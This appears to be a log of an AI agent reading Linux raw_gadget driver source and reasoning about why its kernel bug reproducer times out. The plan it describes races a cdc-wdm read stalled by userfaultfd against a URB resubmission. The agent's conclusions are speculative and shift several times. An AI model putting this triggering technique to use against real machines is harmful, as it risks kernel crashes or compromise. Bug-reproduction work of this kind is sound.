Results: map[SourceCode: 615: static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
616: {
617: struct usb_raw_event arg;
618: unsigned long flags;
619: struct usb_raw_event *event;
620: uint32_t length;
621:
622: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
623: return -EFAULT;
624:
625: spin_lock_irqsave(&dev->lock, flags);
626: if (dev->state != STATE_DEV_RUNNING) {
627: dev_dbg(dev->dev, "fail, device is not running\n");
628: spin_unlock_irqrestore(&dev->lock, flags);
629: return -EINVAL;
630: }
631: if (!dev->gadget) {
632: dev_dbg(dev->dev, "fail, gadget is not bound\n");
633: spin_unlock_irqrestore(&dev->lock, flags);
634: return -EBUSY;
635: }
636: spin_unlock_irqrestore(&dev->lock, flags);
637:
638: event = raw_event_queue_fetch(&dev->queue);
639: if (PTR_ERR(event) == -EINTR) {
640: dev_dbg(&dev->gadget->dev, "event fetching interrupted\n");
641: return -EINTR;
642: }
643: if (IS_ERR(event)) {
644: dev_err(&dev->gadget->dev, "failed to fetch event\n");
645: spin_lock_irqsave(&dev->lock, flags);
646: dev->state = STATE_DEV_FAILED;
647: spin_unlock_irqrestore(&dev->lock, flags);
648: return -ENODEV;
649: }
650: length = min(arg.length, event->length);
651: if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
652: kfree(event);
653: return -EFAULT;
654: }
655:
656: kfree(event);
657: return 0;
658: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 326/5 |
2026/09/11 23:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 42581
output: 40
thoughts: 180
Thoughts: **My Thought Process Regarding the Feedback on `raw_ioctl_event_fetch()`**
Okay, so I'm looking at this feedback, and it states that in the `raw_ioctl_event_fetch()` function within `drivers/usb/gadget/legacy/raw_gadget.c`, there are supposed to be two specific checks related to the `length` field of the user-provided `struct usb_raw_event`. Specifically, it claims the function should return `-EINVAL` if:
1. The `fetch.length` exceeds `U16_MAX`.
2. The `fetch.length` is less than `event->length`, implying the provided buffer is too small for the pending event.
My immediate reaction is a strong "Wait a minute!" because as I recall the implementation, or at least my current understanding of it, I don't see those exact checks present in `raw_ioctl_event_fetch()`. This immediately triggers a deeper dive in my mind.
Could the feedback be referring to a different version of the kernel? Or perhaps a misunderstanding of the logic? The most direct way to resolve this is to verify against the actual source code. So, my next step is to pull up the current kernel source tree. I need to be sure I'm looking at the right `raw_gadget.c` file.
To confirm, I'll perform a targeted search within `raw_gadget.c` for `U16_MAX`. This should quickly reveal if and where this constant is being used in relation to any length checks within the `raw_ioctl_event_fetch` function. If I find it, I'll then scrutinize the surrounding code to see if the described validation logic is indeed implemented, even if it's not in the exact form mentioned in the feedback. If I *don't* find it, then I'll have a solid basis for questioning the feedback and potentially proposing a correction or clarification. This is a critical step to ensure the accuracy of any changes or discussions around this code.
|
| 327/5 |
2026/09/11 23:19 |
tool |
grepper |
0m
Error:
Args: map[Expression:U16_MAX PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results:
|
| 328/5 |
2026/09/11 23:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 42799
output: 47
thoughts: 49
Thoughts: **My Thought Process:**
I need to carefully consider the feedback I've received. It's crucial to verify its accuracy and relevance. My immediate concern is whether the feedback is perhaps a hallucination, or if it's referencing a kernel version other than the one I'm currently working with. This is a common pitfall, and I must be diligent in ruling it out.
Alternatively, the specific issue being raised might reside within a particular function. I'm considering the possibility that the feedback is pointing towards `raw_ioctl_ep0_write`. To address this, my next logical step is to delve into the `raw_ioctl_ep0_write` function and thoroughly examine its implementation. This direct investigation will help me confirm or deny the feedback's relevance and pinpoint the exact location of any potential problem.
|
| 329/5 |
2026/09/11 23:19 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep0_write]
Results: map[SourceCode: 758: static int raw_ioctl_ep0_write(struct raw_dev *dev, unsigned long value)
759: {
760: int ret = 0;
761: void *data;
762: struct usb_raw_ep_io io;
763:
764: data = raw_alloc_io_data(&io, (void __user *)value, true);
765: if (IS_ERR(data))
766: return PTR_ERR(data);
767: ret = raw_process_ep0_io(dev, &io, data, true);
768: kfree(data);
769: return ret;
770: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 330/5 |
2026/09/11 23:19 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 43112
output: 46
thoughts: 13
Thoughts: **My Thought Process**
Right, so the first thing on my mind, the absolute starting point, is to dive into `raw_alloc_io_data`. That's where the real action is, the nitty-gritty of how our I/O data is being allocated. I need to get a handle on that function first and foremost before I can even begin to reason about anything else. It's the foundation, so I'll be looking at its implementation, its parameters, what it returns, and critically, *how* it manages memory for I/O operations. This initial examination is crucial for understanding the underlying mechanisms we're dealing with.
|
| 331/5 |
2026/09/11 23:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_alloc_io_data]
Results: map[SourceCode: 660: static void *raw_alloc_io_data(struct usb_raw_ep_io *io, void __user *ptr,
661: bool get_from_user)
662: {
663: void *data;
664:
665: if (copy_from_user(io, ptr, sizeof(*io)))
666: return ERR_PTR(-EFAULT);
667: if (io->ep >= USB_RAW_EPS_NUM_MAX)
668: return ERR_PTR(-EINVAL);
669: if (!usb_raw_io_flags_valid(io->flags))
670: return ERR_PTR(-EINVAL);
671: if (io->length > USB_RAW_IO_LENGTH_MAX)
672: return ERR_PTR(-EINVAL);
673: if (get_from_user)
674: data = memdup_user(ptr + sizeof(*io), io->length);
675: else {
676: data = kmalloc(io->length, GFP_KERNEL);
677: if (!data)
678: data = ERR_PTR(-ENOMEM);
679: }
680: return data;
681: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 332/5 |
2026/09/11 23:20 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 43538
output: 44
thoughts: 38
Thoughts: **My Thought Process Regarding USB Raw IO Length**
Ah, it seems I've just had a moment of realization regarding a specific constant: `USB_RAW_IO_LENGTH_MAX`. My immediate thought, upon encountering this, was to verify its definition. My strong suspicion, and what my internal thought process is currently focused on confirming, is that `USB_RAW_IO_LENGTH_MAX` is defined as `U16_MAX`. This is a critical detail, as it dictates the maximum permissible length for raw I/O operations within the USB context. Understanding this boundary is fundamental to correctly implementing and debugging any USB communication logic, ensuring that buffer sizes and data transfers adhere to the protocol's limitations. Therefore, my next logical step, or rather, my ongoing internal verification, is to precisely check the definition and value of `USB_RAW_IO_LENGTH_MAX`.
|
| 333/5 |
2026/09/11 23:20 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IO_LENGTH_MAX PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=41=static DEFINE_IDA(driver_id_numbers);
drivers/usb/gadget/legacy/raw_gadget.c-42-#define DRIVER_DRIVER_NAME_LENGTH_MAX 32
drivers/usb/gadget/legacy/raw_gadget.c:43:#define USB_RAW_IO_LENGTH_MAX KMALLOC_MAX_SIZE
drivers/usb/gadget/legacy/raw_gadget.c-44-
--
drivers/usb/gadget/legacy/raw_gadget.c=660=static void *raw_alloc_io_data(struct usb_raw_ep_io *io, void __user *ptr,
--
drivers/usb/gadget/legacy/raw_gadget.c-670- return ERR_PTR(-EINVAL);
drivers/usb/gadget/legacy/raw_gadget.c:671: if (io->length > USB_RAW_IO_LENGTH_MAX)
drivers/usb/gadget/legacy/raw_gadget.c-672- return ERR_PTR(-EINVAL);
]
|
| 334/5 |
2026/09/11 23:20 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 43889
output: 44
thoughts: 1328
Thoughts: **My Thought Process on the USB Gadget Driver Issue**
I've been diving deep into this USB gadget driver problem, and it's been a bit of a rollercoaster. Initially, I was presented with feedback suggesting that `raw_ioctl_event_fetch` was returning `-EINVAL` due to issues with the `length` field provided by the user. The feedback specifically mentioned checks for `fetch.length > U16_MAX` and `fetch.length < event->length`.
However, my immediate reaction was skepticism. I know the kernel code fairly well, and these specific checks didn't sound right for `raw_ioctl_event_fetch`. My gut feeling was that the feedback, likely generated by an LLM, was "hallucinating" the kernel source. I decided to verify this directly.
Upon checking the actual kernel source, I confirmed my suspicion. The `raw_ioctl_event_fetch` function *does not* contain those `length`-related checks. The *only* condition under which it returns `-EINVAL` is when `dev->state != STATE_DEV_RUNNING`. This immediately invalidated the LLM's explanation and reinforced my original analysis that the `STATE_DEV_FAILED` state must have been set.
So, the crucial question became: *why* was `STATE_DEV_FAILED` set? My prior analysis pointed to a `WARN_ON` trigger within `raw_process_ep0_io`. This warning occurs when `USB_RAW_IOCTL_EP0_WRITE` is called while `ep0_out_pending` is true.
Now, I needed to understand when `ep0_out_pending` becomes true. The key insight here is that `ep0_out_pending` is set when `req->wLength == 0` for an OUT endpoint request (or a zero-length IN request).
This led me to examine my own C code. I realized that if a request has `req->bRequestType & USB_DIR_IN` set, and crucially, if `req->wLength == 0`, then `ep0_out_pending` would indeed be true. In such a scenario, my code could potentially call `USB_RAW_IOCTL_EP0_WRITE`, which would then trigger the `WARN_ON` and subsequently set `STATE_DEV_FAILED`. I specifically considered the case of `GET_ENCAPSULATED_RESPONSE` (`req->bRequestType == 0xA1 && req->bRequest == 0x01`), but my understanding is that this request is typically sent with `wLength == 256`, not 0.
Then, a more subtle scenario emerged. What happens if `resp_count` in my code becomes greater than 0, and I then choose to "do nothing" as a strategy? If I do nothing, `ep0_in_pending` remains true. This can lead to the host timing out and initiating a USB reset. Following the reset, the host might send a `USB_REQ_SET_ADDRESS` (which is an OUT request with `wLength == 0`). My `gadget_setup` function would see that `ep0_in_pending` is true and correctly return `-EBUSY`, thus not queuing the event. The host, facing this lack of response, times out again and issues another USB reset. Eventually, the host might give up entirely, leading to the device failing to enumerate.
If the device fails to enumerate, the gadget thread is likely stuck in `USB_RAW_IOCTL_EVENT_FETCH`, waiting for events. But why would `USB_RAW_IOCTL_EVENT_FETCH` return `-EINVAL` instead of blocking indefinitely? This again points to `STATE_DEV_FAILED` being set.
My thought then turned to `gadget_reset`. This function queues a `USB_RAW_EVENT_RESET`. If the gadget thread is indeed blocked in `USB_RAW_IOCTL_EVENT_FETCH`, it would fetch these reset events, ignore them, and then re-enter `USB_RAW_IOCTL_EVENT_FETCH`. If multiple resets occur, the event queue wouldn't necessarily fill up, so `STATE_DEV_FAILED` wouldn't be set by `raw_queue_event`.
However, what if the gadget thread *isn't* blocked? What if `USB_RAW_IOCTL_EVENT_FETCH` is already returning `-EINVAL` because `dev->state != STATE_DEV_RUNNING`? This brings me back to the core question: what is the *actual* mechanism that sets `STATE_DEV_FAILED`? I needed to explore other potential locations in the code, and `raw_ioctl_run` became my next area of investigation.
|
| 335/5 |
2026/09/11 23:20 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_run]
Results: map[SourceCode: 579: static int raw_ioctl_run(struct raw_dev *dev, unsigned long value)
580: {
581: int ret = 0;
582: unsigned long flags;
583:
584: if (value)
585: return -EINVAL;
586:
587: spin_lock_irqsave(&dev->lock, flags);
588: if (dev->state != STATE_DEV_INITIALIZED) {
589: dev_dbg(dev->dev, "fail, device is not initialized\n");
590: ret = -EINVAL;
591: goto out_unlock;
592: }
593: dev->state = STATE_DEV_REGISTERING;
594: spin_unlock_irqrestore(&dev->lock, flags);
595:
596: ret = usb_gadget_register_driver(&dev->driver);
597:
598: spin_lock_irqsave(&dev->lock, flags);
599: if (ret) {
600: dev_err(dev->dev,
601: "fail, usb_gadget_register_driver returned %d\n", ret);
602: dev->state = STATE_DEV_FAILED;
603: goto out_unlock;
604: }
605: dev->gadget_registered = true;
606: dev->state = STATE_DEV_RUNNING;
607: /* Matches kref_put() in raw_release(). */
608: kref_get(&dev->count);
609:
610: out_unlock:
611: spin_unlock_irqrestore(&dev->lock, flags);
612: return ret;
613: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 336/5 |
2026/09/11 23:21 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 45787
output: 52
thoughts: 3575
Thoughts: **My Thought Process on the `STATE_DEV_FAILED` Issue and the Timeout**
Okay, let's break down what I've been thinking through regarding this `STATE_DEV_FAILED` state and why the reproducer seems to be timing out instead of crashing as expected.
First, I established that the initial check for `usb_gadget_register_driver` failing is not the culprit. My C code directly checks the return value of `USB_RAW_IOCTL_RUN`, and it's not returning an error, so that path is clear.
Then, I focused on where else `STATE_DEV_FAILED` could be set. I identified `raw_process_ep0_io` as a key area, specifically the `WARN_ON` conditions that trigger `ret = -ENODEV; dev->state = STATE_DEV_FAILED;`. This happens if `dev->ep0_out_pending` is true when handling an IN endpoint operation, or if `dev->ep0_in_pending` is true when handling an OUT endpoint operation.
My next step was to consider how `raw_event_queue_fetch` might behave. I thought about the `WARN_ON(!queue->size)` condition. Could `queue->size` be zero after `down_interruptible` succeeds? I reasoned that this would imply a bug in the `raw_gadget` itself, which seems unlikely, so I discounted this as the immediate cause.
This led me back to the `WARN_ON` in `raw_process_ep0_io`. The only way that `WARN_ON` would trigger is if my code is incorrectly calling `USB_RAW_IOCTL_EP0_WRITE` when `ep0_out_pending` is true, or `USB_RAW_IOCTL_EP0_READ` when `ep0_in_pending` is true. I meticulously reviewed my C code's handling of USB requests.
I considered various scenarios:
* **IN requests (`req->bRequestType & USB_DIR_IN`) with `wLength == 0`:** If `wLength` is zero, `gadget_setup` sets `ep0_out_pending` to true. My code then enters the IN handling path. If it's not `GET_DESCRIPTOR` or the specific `0xA1 0x01` request, it calls `USB_RAW_IOCTL_EP0_STALL`. I verified that `USB_RAW_IOCTL_EP0_STALL` does *not* trigger the `WARN_ON`. For `GET_DESCRIPTOR` and `0xA1 0x01`, I reasoned that the host wouldn't send these with `wLength == 0`.
* **OUT requests (`!(req->bRequestType & USB_DIR_IN)`) with `wLength > 0`:** If the direction is OUT, `gadget_setup` sets `ep0_out_pending` to true. My code enters the OUT handling path. It calls `USB_RAW_IOCTL_EP0_READ`. This is called with `in = false`. Since `ep0_out_pending` is true, the `WARN_ON` condition (`!in && dev->ep0_out_pending`) is *not* met. So this path also seems safe.
* **`USB_REQ_SET_CONFIGURATION`:** My code handles this by calling `USB_RAW_IOCTL_EP0_READ`, then `USB_RAW_IOCTL_CONFIGURE`, and finally `USB_RAW_IOCTL_EP_ENABLE`. I couldn't find any obvious issue here that would lead to `STATE_DEV_FAILED`.
I then shifted my focus to other requests like `USB_REQ_GET_STATUS` and `USB_REQ_SET_ADDRESS`, but these also didn't immediately point to a `STATE_DEV_FAILED` scenario under normal operation.
The critical part of my thought process was analyzing the "do nothing" branch for the second `GET_ENCAPSULATED_RESPONSE` (`resp_count == 1`). I realized that if I do nothing, `ep0_in_pending` remains true. My initial thought was that this would lead to a host timeout and a USB reset. If the gadget then failed to handle the subsequent `SET_ADDRESS` request because `ep0_in_pending` was still true, it would return `-EBUSY` and not queue the event. This would cause the host to give up, and the device wouldn't enumerate. If the device didn't enumerate, my main thread would fail to open `/dev/cdc-wdm0` and exit immediately.
However, the feedback indicated a *timeout* after 2m30s, not an immediate exit. This meant that `/dev/cdc-wdm0` *was* opened, and enumeration *must have succeeded*. If enumeration succeeded, the gadget thread must have handled all setup requests correctly *up to that point*, meaning `STATE_DEV_FAILED` was *not* set during enumeration.
This brought me to the `read()` call in the main thread. If `read()` blocks (because the userfaultfd region is accessed), and then `ep1_thread` sends an EP1 IN STALL, triggering `wdm_rxwork` to submit `desc->response` *again* while it's already active from the first (successful) `GET_ENCAPSULATED_RESPONSE`. This, I believed, should have triggered the `WARN_ON` in `raw_process_ep0_io` because `ep0_in_pending` would be true after the second host request, and my code would try to `USB_RAW_IOCTL_EP0_WRITE` (implicitly, by submitting the URB).
But the strace output showed the program stuck in an infinite loop of failing `ioctl` calls, specifically `ioctl(..., -1 EINVAL (Invalid argument))`. This `EINVAL` from an `ioctl` strongly suggests that `STATE_DEV_FAILED` *was* set. But my previous analysis indicated enumeration succeeded, implying it wasn't set then.
My breakthrough came when I considered the state *after* the main thread's `read()` call triggers the userfaultfd and `ep1_thread` sends the STALL. The `wdm_int_callback` receives `-EPIPE` from the stall, schedules `wdm_rxwork`. `wdm_rxwork` then attempts to submit `desc->response`. If `desc->response` was indeed already active (due to the host's second `GET_ENCAPSULATED_RESPONSE` request and the gadget thread's "do nothing" response), this would indeed lead to a problem.
However, the strace showing `EINVAL` from `ioctl` implies the gadget thread itself is failing. This points back to `STATE_DEV_FAILED`. If enumeration succeeded, and then the "do nothing" happens, `ep0_in_pending` remains true. The `ep1_thread` then stalls EP1 IN, leading to `wdm_rxwork` submitting `desc->response`.
The most plausible explanation for the `EINVAL` in the `ioctl` calls, given that enumeration succeeded, is that the subsequent "do nothing" for the second `GET_ENCAPSULATED_RESPONSE` leaves `ep0_in_pending` set. When `ep1_thread` tries to submit `desc->response` again (which is a control URB), and the gadget's state is not clean, it's possible that the underlying `usb_gadget` implementation, when receiving a malformed or unexpected control transfer submission (or a re-submission of an active one), eventually leads to `STATE_DEV_FAILED` being set. The `EINVAL` from `USB_RAW_IOCTL_EVENT_FETCH` specifically means the device is in a failed state, and the gadget loop has exited or is stuck trying to fetch events from a broken device.
Therefore, I conclude that the failure isn't in the initial setup, but rather in the handling of the repeated `GET_ENCAPSULATED_RESPONSE` request where my code chooses to do nothing. This leaves `ep0_in_pending` true, and the subsequent actions by `ep1_thread` and `wdm_rxwork` to resubmit the control URB, or the interaction with the stalled EP1 IN, indirectly causes the gadget to transition into `STATE_DEV_FAILED`, leading to the `EINVAL` errors seen in the `ioctl` calls and the eventual timeout as the gadget thread can no longer function.
|
| 337/5 |
2026/09/11 23:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_ep_set_clear_halt_wedge]
Results: map[SourceCode: 974: static int raw_ioctl_ep_set_clear_halt_wedge(struct raw_dev *dev,
975: unsigned long value, bool set, bool halt)
976: {
977: int ret = 0, i = value;
978: unsigned long flags;
979:
980: spin_lock_irqsave(&dev->lock, flags);
981: if (dev->state != STATE_DEV_RUNNING) {
982: dev_dbg(dev->dev, "fail, device is not running\n");
983: ret = -EINVAL;
984: goto out_unlock;
985: }
986: if (!dev->gadget) {
987: dev_dbg(dev->dev, "fail, gadget is not bound\n");
988: ret = -EBUSY;
989: goto out_unlock;
990: }
991: if (i < 0 || i >= dev->eps_num) {
992: dev_dbg(dev->dev, "fail, invalid endpoint\n");
993: ret = -EBUSY;
994: goto out_unlock;
995: }
996: if (dev->eps[i].state == STATE_EP_DISABLED) {
997: dev_dbg(&dev->gadget->dev, "fail, endpoint is not enabled\n");
998: ret = -EINVAL;
999: goto out_unlock;
1000: }
1001: if (dev->eps[i].disabling) {
1002: dev_dbg(&dev->gadget->dev,
1003: "fail, disable is in progress\n");
1004: ret = -EINVAL;
1005: goto out_unlock;
1006: }
1007: if (dev->eps[i].urb_queued) {
1008: dev_dbg(&dev->gadget->dev,
1009: "fail, waiting for urb completion\n");
1010: ret = -EINVAL;
1011: goto out_unlock;
1012: }
1013: if (usb_endpoint_xfer_isoc(dev->eps[i].ep->desc)) {
1014: dev_dbg(&dev->gadget->dev,
1015: "fail, can't halt/wedge ISO endpoint\n");
1016: ret = -EINVAL;
1017: goto out_unlock;
1018: }
1019:
1020: if (set && halt) {
1021: ret = usb_ep_set_halt(dev->eps[i].ep);
1022: if (ret < 0)
1023: dev_err(&dev->gadget->dev,
1024: "fail, usb_ep_set_halt returned %d\n", ret);
1025: } else if (!set && halt) {
1026: ret = usb_ep_clear_halt(dev->eps[i].ep);
1027: if (ret < 0)
1028: dev_err(&dev->gadget->dev,
1029: "fail, usb_ep_clear_halt returned %d\n", ret);
1030: } else if (set && !halt) {
1031: ret = usb_ep_set_wedge(dev->eps[i].ep);
1032: if (ret < 0)
1033: dev_err(&dev->gadget->dev,
1034: "fail, usb_ep_set_wedge returned %d\n", ret);
1035: }
1036:
1037: out_unlock:
1038: spin_unlock_irqrestore(&dev->lock, flags);
1039: return ret;
1040: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 338/5 |
2026/09/11 23:21 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 50503
output: 43
thoughts: 1006
Thoughts: **My Thought Process Unraveling a USB Gadget Driver Bug**
Okay, so I'm deep in the weeds here, trying to understand why `STATE_DEV_FAILED` is getting set. My initial thought was that it wasn't being set, which is clearly wrong if I'm seeing it.
Then, I started tracing a specific scenario: what if the host sends `GET_ENCAPSULATED_RESPONSE`, and my device just… does nothing? My immediate prediction is that the host will time out. When the host times out, it cancels the associated URB. This then triggers a USB reset. When that USB reset occurs, `gadget_reset` should queue a `USB_RAW_EVENT_RESET`. My gadget thread is supposed to fetch and handle this event.
Looking at my code, I see:
```c
if (event.type == USB_RAW_EVENT_CONTROL) {
// ...
}
```
And that's it. It just loops back, effectively ignoring the `USB_RAW_EVENT_RESET`. This feels like a potential problem.
Following this path, the host will then send `USB_REQ_SET_ADDRESS` (as an OUT transaction with `wLength=0`). Now, here's the critical part: `gadget_setup` *sees* that `ep0_in_pending` is true (because we previously did nothing with `GET_ENCAPSULATED_RESPONSE`). Because of this, `gadget_setup` returns `-EBUSY` and, crucially, *does not queue the event*.
So, the gadget thread never actually receives the `USB_REQ_SET_ADDRESS` event. The host, not getting a response, times out *again*. This leads to another USB reset. After a second timeout and reset, the host likely gives up entirely and disconnects the device.
When the device disconnects, `cdc-wdm` gets unbound. This calls `wdm_disconnect`. In `wdm_disconnect`, the URBs are poisoned and freed. This means the device is effectively gone.
Now, I'm thinking about what happens on the user-space side. If `read()` is called, and the device is disconnected, it should return an error. But wait, if `read()` is blocked in `copy_to_user`, it's actually blocked by userfaultfd. It won't unblock until userfaultfd is resolved, meaning `read()` stays blocked.
This leads to another thought: if `cdc-wdm` is unbound, and `read()` is blocked, then `service_outstanding_interrupt` won't be called. This feels like it *should* prevent the bug.
But then I circle back to the original question: why *is* `STATE_DEV_FAILED` being set? Let's reconsider the USB reset. If the host sends multiple resets, `gadget_reset` will queue multiple `USB_RAW_EVENT_RESET`. Could the queue get full if the gadget thread is busy or blocked? My analysis so far suggests the thread isn't blocked; it's just looping.
Ah, but what if `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL`? This would happen if `dev->state != STATE_DEV_RUNNING`. And why wouldn't it be running? Because `STATE_DEV_FAILED` was set! So, this is a circular dependency I need to untangle.
Let's go back to `raw_process_ep0_io`. I see these checks:
```c
if (WARN_ON(in && dev->ep0_out_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
if (WARN_ON(!in && dev->ep0_in_pending)) {
ret = -ENODEV;
dev->state = STATE_DEV_FAILED;
goto out_unlock;
}
```
This is where `STATE_DEV_FAILED` is set. So, the question becomes: is it possible for `ep0_in_pending` to be true, and then we attempt to read from EP0?
Yes, this brings me back to the `GET_ENCAPSULATED_RESPONSE` scenario. If we do nothing, `ep0_in_pending` stays true. Then, the host sends a USB reset, followed by `USB_REQ_SET_ADDRESS`. As I noted, `gadget_setup` returns `-EBUSY` and doesn't queue the event. This means the gadget thread *never* gets the `USB_REQ_SET_ADDRESS` event, and therefore *never* calls `USB_RAW_IOCTL_EP0_READ` for it. Consequently, the `WARN_ON(!in && dev->ep0_in_pending)` condition is *never* met.
This is puzzling. My initial understanding of how `STATE_DEV_FAILED` gets set seems flawed in this specific path.
What if the host sends `USB_REQ_SET_ADDRESS`, and, contrary to my previous thought, `gadget_setup` *does* queue it? I need to re-examine `gadget_setup` to see the exact conditions for that. This is where I'm currently stuck, trying to reconcile the reset, the ignored events, and the eventual setting of `STATE_DEV_FAILED`.
|
| 339/5 |
2026/09/11 23:22 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:gadget_setup]
Results: map[SourceCode: 337: static int gadget_setup(struct usb_gadget *gadget,
338: const struct usb_ctrlrequest *ctrl)
339: {
340: int ret = 0;
341: struct raw_dev *dev = get_gadget_data(gadget);
342: unsigned long flags;
343:
344: spin_lock_irqsave(&dev->lock, flags);
345: if (dev->state != STATE_DEV_RUNNING) {
346: dev_err(&gadget->dev, "ignoring, device is not running\n");
347: ret = -ENODEV;
348: goto out_unlock;
349: }
350: if (dev->ep0_in_pending || dev->ep0_out_pending) {
351: dev_dbg(&gadget->dev, "stalling, request already pending\n");
352: ret = -EBUSY;
353: goto out_unlock;
354: }
355: if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
356: dev->ep0_in_pending = true;
357: else
358: dev->ep0_out_pending = true;
359: spin_unlock_irqrestore(&dev->lock, flags);
360:
361: ret = raw_queue_event(dev, USB_RAW_EVENT_CONTROL, sizeof(*ctrl), ctrl);
362: if (ret < 0)
363: dev_err(&gadget->dev, "failed to queue control event\n");
364: goto out;
365:
366: out_unlock:
367: spin_unlock_irqrestore(&dev->lock, flags);
368: out:
369: if (ret == 0 && ctrl->wLength == 0) {
370: /*
371: * Return USB_GADGET_DELAYED_STATUS as a workaround to stop
372: * some UDC drivers (e.g. dwc3) from automatically proceeding
373: * with the status stage for 0-length transfers.
374: * Should be removed once all UDC drivers are fixed to always
375: * delay the status stage until a response is queued to EP0.
376: */
377: return USB_GADGET_DELAYED_STATUS;
378: }
379: return ret;
380: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 340/5 |
2026/09/11 23:22 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 52279
output: 47
thoughts: 2567
Thoughts: **My Thought Process Unraveling a USB Gadget Conundrum**
I'm trying to understand this behavior in the `gadget_setup` function. I've noticed that it returns `-EBUSY` if `ep0_in_pending` is true. This seems like a potential issue, especially considering what happens during a USB reset. My immediate thought was: does `gadget_reset`, which is called on a USB reset, clear `ep0_in_pending`?
I dove into the `gadget_reset` function's code, and to my dismay, it *doesn't* clear `ep0_in_pending`. This implies that `ep0_in_pending` could remain true indefinitely. If `ep0_in_pending` stays true, then `gadget_setup` would *always* return `-EBUSY` for subsequent SETUP packets. This, in turn, means the gadget thread would never receive any more `USB_RAW_EVENT_CONTROL` events, effectively getting stuck in a loop, blocking on `USB_RAW_IOCTL_EVENT_FETCH`.
But this contradicts what I'm seeing in `strace` – an infinite loop of `-EINVAL`. If the gadget thread is simply blocked on `USB_RAW_IOCTL_EVENT_FETCH`, it shouldn't be returning `-EINVAL`. This led me to consider if `STATE_DEV_FAILED` might have been set. How could that happen? I speculated that it might be due to `raw_queue_event` returning `-ENOMEM`.
I reasoned that if `gadget_reset` is called multiple times (e.g., due to host retrying enumeration), it queues up multiple `USB_RAW_EVENT_RESET` events. If the gadget thread is blocked elsewhere, perhaps in `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`, it wouldn't fetch these events, and the queue would fill up, leading to `-ENOMEM`.
However, I then questioned if the gadget thread was *truly* blocked. I considered a scenario where the gadget thread *isn't* blocked, for instance, if it's handling `GET_ENCAPSULATED_RESPONSE` and does nothing. In that case, it would return to `USB_RAW_IOCTL_EVENT_FETCH`, fetch the reset events, ignore them, and the queue wouldn't fill.
My train of thought then shifted to another possibility: what if `resp_count > 0` and I do nothing, *without* stalling the endpoint? This would leave the host's URB hanging. If I don't complete the `GET_ENCAPSULATED_RESPONSE` request, the host's URB hangs. If the host's URB hangs, it won't send more requests, meaning no more events, and the gadget thread would block on `USB_RAW_IOCTL_EVENT_FETCH`. Again, this doesn't explain the `-EINVAL` loop.
This kept me circling back to the `strace` output. Was the `-EINVAL` loop from a different run? I recalled a previous run where my code did something that triggered `WARN_ON(in && dev->ep0_out_pending)`, which *did* set `STATE_DEV_FAILED`. This would explain the infinite loop of `-EINVAL` from `USB_RAW_IOCTL_EVENT_FETCH`.
But the *current* feedback suggests this `-EINVAL` loop happened in the *current* run. This meant `STATE_DEV_FAILED` must have been set *again*. I meticulously reviewed my C code for the current run, looking for any condition that could set `STATE_DEV_FAILED`. I examined the branches for `req->bRequestType & USB_DIR_IN` being true or false, and the `wLength` values. I couldn't find any direct triggers for `WARN_ON` in these paths.
Could `raw_queue_event` have returned `-ENOMEM` again? If the gadget thread isn't blocked, it should fetch events. But what if `ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io)` *itself* blocks? If it blocks, event fetching stops, and the queue could fill up with subsequent resets.
Why would `USB_RAW_IOCTL_EP0_READ` block? I suspected it might happen when handling `USB_REQ_SET_CONFIGURATION` with `io.length = 0`. This queues a zero-length request to EP0. The host *should* ACK the status stage, and the request should complete. But what if the host *doesn't* ACK? Then it blocks.
This led me to a critical insight: `USB_REQ_SET_CONFIGURATION` is an OUT request with `wLength == 0`. This means `ep0_out_pending` is true. The status stage for this request is an IN packet. If I use `USB_RAW_IOCTL_EP0_WRITE` (for an IN transfer), it would see `in == true` and `ep0_out_pending == true`, triggering `WARN_ON`. So, I *can't* use `USB_RAW_IOCTL_EP0_WRITE`. I have to use `USB_RAW_IOCTL_EP0_READ`. But if I use `USB_RAW_IOCTL_EP0_READ`, it queues an OUT request. The UDC driver might wait for an OUT packet, while the host is waiting for an IN packet. This is a deadlock!
If `USB_RAW_IOCTL_EP0_READ` blocks forever due to this deadlock, the host times out, sends a USB reset, and the process repeats, filling the event queue and eventually setting `STATE_DEV_FAILED` via `-ENOMEM`. Then, if the syzkaller executor sends a signal to terminate the process after a timeout, `wait_for_completion_interruptible` returns `-EINTR`. This would cause the gadget thread to loop back to `USB_RAW_IOCTL_EVENT_FETCH`, which would now return `-EINVAL` because `STATE_DEV_FAILED` is set, resulting in the observed infinite loop.
